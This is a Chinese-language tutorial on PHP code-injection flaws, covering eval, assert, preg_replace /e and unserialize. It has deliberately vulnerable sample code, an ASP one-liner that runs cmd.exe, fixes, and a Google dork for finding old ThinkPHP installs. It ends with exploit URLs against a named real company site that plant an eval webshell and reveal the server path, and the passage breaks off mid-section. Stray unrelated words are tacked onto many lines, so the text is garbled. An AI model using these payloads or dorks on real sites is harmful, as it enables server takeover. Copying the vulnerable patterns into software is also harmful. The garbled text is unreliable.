1、背景介紹php
當應用在調用一些能將字符串轉化爲代碼的函數(如php中的eval)時,沒有考慮用戶是否能控制這個字符串,將形成代碼注入漏洞。狹義的代碼注入一般指將可執行代碼注入到當前頁面中,如php的eval函數,能夠將字符串表明的代碼做爲php代碼執行,當用戶可以控制這段字符串時,將產生代碼注入代碼注入漏洞(也稱命令執行)。廣義上的代碼注入,能夠覆蓋大半安全漏洞的分類。web
2、漏洞成因thinkphp
幾種經常使用語言,都有將字符串轉化成代碼去執行的相關函數。shell
PHP:eval assertjson
Python:exec數組
Java:Java中沒有相似php中eval函數這種直接能夠將字符串轉化爲代碼執行的函數,可是有反射機制,而且有各類基於反射機制的表達式引擎,如:OGNL、SpEL、MVEL等。安全
asp:<%=CreateObject(「wscript.shell」).exec(「cmd.exe /c ipconfig」).StdOut.ReadAll()%>服務器
問題一:爲何使用執行代碼函數?框架
答:應用有時候會考慮靈活性、簡潔性,在代碼中調用eval之類的函數去處理。例如phpcms中很經常使用的string2array函數。其實settings表示一個字符串形式的"php數組",咱們必需要用eval函數才能將"字符串"變成一個真正的數組,因此這也是phpcms裏屢次調用string2array函數的主要緣由。函數
成因:不少CMS爲了設置的靈活性,都會選擇用eval來處理內容。但處理的同時並無檢查用戶是否能夠控制被處理的"字符串"。
3、漏洞分類
1.執行代碼的函數 eval assert
2.callback函數 preg_replace + /e模式
3.反序列化可能致使代碼執行 unserialize()反序列化函數
4.文件包含漏洞(見文件包含漏洞)
4、漏洞危害
1.執行任意代碼
2.向網站寫webshell
3.甚至控制服務器
5、漏洞利用(通常有兩種:直接在url裏寫webshell 鏈接一句話)
1.首先要知道在哪裏會有漏洞?潛在漏洞的點:
PHP中能形成代碼注入的主要函數:
eval() assert() preg_replace()+/e模式 unserialize()(反序列化函數)
2.本地測試例子
2.1漏洞代碼
<?php $data=$_GET['data']; eval("\$ret = $data"); echo $ret; ?>
2.2漏洞代碼
<?php $data=$_GET['data']; echo "\$ret = '$data';"; eval("\$ret = strtolower('$data');"); echo $ret; ?>
2.3漏洞代碼
<?php $data=$_GET['data']; echo "\$ret=strtolower(\"$data\");"; eval("$ret=strtolower(\"$data\");"); ?>
2.4漏洞代碼
<?php $data=$_GET['data']; echo $data; preg_replace('/<data>(.*)<\/data>/e','$ret="\\1";',$data); echo $ret; ?>
6、修復方案
1.針對eval()函數
能使用json保存數組、對象就使用json,不要將php對象保存成字符串,不然讀取的時候須要使用eval。
對於必須使用eval的狀況,必定要保證用戶不能輕易接觸eval的參數(或用正則嚴格判斷輸入的數據格式)。
對於字符串,必定要使用單引號包裹可控代碼,並再插入前進行addslashes()。
2.針對preg_replace函數
放棄使用preg_replace的e修飾符。使用preg_replace_callback()替換。
若是非要使用preg_replace()+e修飾符,請保證第二個參數中,對於正則匹配出的對象,用單引號包裹。
7、找實例
1.掃描器掃出來 awvs
2.特定的cms版本會有漏洞
3.Thinkphp2.1 2.2 3.1
google搜索語法: intext:thinkphp intext:"Fast & Simple OOP PHP Framework" intext:"2.1"
MVC框架:
/News/detail/item/850
模塊 方法 參數名 參數值
8、利用方法
1.一句話(在參數值位置寫入):
http://www.sinosteelchem.com/product_detail_en/id/%7B$%7B@eval($_POST[123])%7D%7D
2.獲取當前路徑
http://www.sinosteelchem.com/product_detail_en/id/%7B$%7Bprint%20(getcwd())%7D%7D
3.讀文件